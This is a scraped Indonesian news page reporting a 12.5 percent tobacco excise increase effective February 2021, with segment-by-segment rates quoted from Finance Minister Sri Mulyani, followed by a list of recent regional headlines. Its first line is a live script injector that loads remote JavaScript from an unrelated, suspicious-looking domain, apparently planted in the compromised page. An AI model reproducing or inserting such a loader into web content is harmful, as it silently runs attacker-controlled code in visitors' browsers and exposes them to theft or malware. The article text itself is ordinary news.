(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Kenaikan Cukai Hasil Tembakau 12,5 Persen Efektif Februari 2021


KANALKALIMANTAN.COM, JAKARTA – Menteri Keuangan Sri Mulyani Indarwati menaikan cukai hasil tembakau (CHT) atau cukai rokok sebesar 12,5 persen pada tahun 2021.

Namun, kebijakan tersebut belum berlaku pada Januari. Sri Mulyani baru menjalankan kebijakan itu pada Februari 2021.

“Kebijakan hasil tembakau yang baru saja kita sampaikan baru efektif pada 1 februari 2021,” ujar Sri Mulyani dalam konferensi pers secara virtual, ditulis Jumat (11/12/2020).

Menurut Sri Mulyani, pemberlakuan pada Februari ini untuk memberikan kesempatan kepada Jajaran Bea dan Cukai serta Industri untuk menyiapkan berbagai hal.

 

Mulai dari pencetakan pita cukai baru hingga penyesuaian harga rokok setelah kenaikan cukai rokok tersebut yang dilakukan Desember-Januari.

“Sehingga kita baru memulainya pada 1 Februari 2021, jajaran Bea Cukai akan membuat satuan tugas dalam rangka untuk melayani terkait dengan penerbitan dan penempatan pita cukai yang baru,” ucap dia.

Sementara itu, Mantan Direktur Pelaksana Bank Dunia ini menyebut aturan terkait kenaikan cukai rokok ini tengah diharmonisasi dan diharapkan akan keluar dalam waktu dekat.

“Kami dan bea cukai memastikan proses transisi dapat berjalan tanpa hambatan, saya minta jajaran bea cukai melakukan sosialisasi terhadap aturan akibat kenaikan cukai rokok,” tegas dia.

Sebelumnya, Sri Mulyani mengatakan, kenaikan cukai rokok itu terbagi atas beberapa golongan. Pada segmen Sigaret putih Mesin (SPM) Golongan I dinaikkan cukainya sebesar 16,9 persen.

Kemudian, untuk SPM Golongan IIA CHT-nya dinaikkan sebesar 16,5 persen, serta Golongan IIB juga alami kenaikan sebesar 18,1 persen.

Lalu, untuk sektor Sigaret Kretek Mesin (SKM) Golongan I bakal mengalami kenaikan CHT sebesar 16,9 persen.

Selanjutnya, SKM Golongan IIA bakal naik sebesar 13,8 persen dan SKM Golongan IIB ikut alami kenaikan 18,1 persen

“Sementara itu, untuk industri jenis Sigaret Kretek Tangan (SKT) tarif cukainya tidak berubah atau dalam hal ini tidak dinaikan. Artinya kenaikannya nol persen. SKT adalah yang memiliki unsur tenaga kerja terbesar,” jelas dia.

Sri Mulyani menambahkan, dengan kenaikan cukai rokok berbagai segmen itu, maka rerata kenaikan tarif cukai sebesar 12,5 persen. (suara.com)

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.